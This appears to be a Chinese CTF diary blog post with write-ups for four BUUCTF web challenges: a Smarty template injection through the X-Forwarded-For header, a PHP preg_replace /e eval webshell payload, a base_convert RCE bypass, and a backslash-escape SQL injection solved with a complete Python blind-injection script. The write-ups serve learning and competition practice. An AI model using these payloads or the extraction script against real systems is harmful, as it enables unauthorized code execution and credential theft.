buu摸鱼日记之十三
[BJDCTF2020]The mystery of ip
这题有点东西
居然是ssti真没想到
题目里面出现了ip,那自然想到client-ip/XXF
然后XXF可控,那么注入点就是这里
然后是smart(不是flask,这个可以用payload{{7*‘7}}’ 出49来判断
利用system(‘cat /flag’) 拿到flag
[BJDCTF2020]ZJCTF,不过如此
这个前半截和ZJCTF一模一样
后半端需要这个getshell
https://xz.aliyun.com/t/2557
这个洞理解起来好吃力,大概就是修改参数来达到串改php内容的作法
写个马进去/?\S*=${eval($_POST[field])}
preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${eval($_POST[field])});
原来的语句就会被魔改成这个DIO样子
就是会把${eval()}先执行掉,然后进行匹配(是个空值)
var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11' var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串'' var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
大致就是这样
[CISCN 2019 初赛]Love Math
这个题很有趣,可以看出来是RCE,但是不知道怎么做
主要还是利用base_convert转换,可以转出字符串出来(36进制,abcdefg全齐了)
网上看到了很多很有趣的解法,给了三个解法,从文件头插入的姿势我是第一次见,真的学到了
[BJDCTF 2nd]简单注入
还是要看hint(我太菜了)
扫出来hint.txt
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
要用\转义(没看hint真没想到)
魔改以后的就是
select * from users where username='admin\' and password='or length(database())>0#';
就有逻辑不一样,回显不同的效果
那么盲注老操作了
import requests
url="http://63f2cb60-65f0-43f7-8c7b-d1123631ab7c.node3.buuoj.cn"
ch = 0
flag = ""
for i in range(1,50):
high = 128
low = 32
mid = (high + low) // 2
while(high>low):
payload = {"username":"admin\\","password":"or/**/if(ascii(substr(password,%d,1))<%d,1,0)#"%(i,mid)}
r = requests.post(url=url,data=payload).text
if "stronger" in r:
high = mid
else:
low = mid + 1
mid = (high + low) // 2
# print(r)
flag += chr(int(mid-1))
print(flag)
select * from users where username='admin\' and password='or/**/if(ascii(substr(password,%d,1))<%d,1,0)#';
憨批的我换了半天的select*什么的,后来发现好像根本没必要
PREVIOUSBuu摸鱼日记(12)
NEXTBuu摸鱼日记之14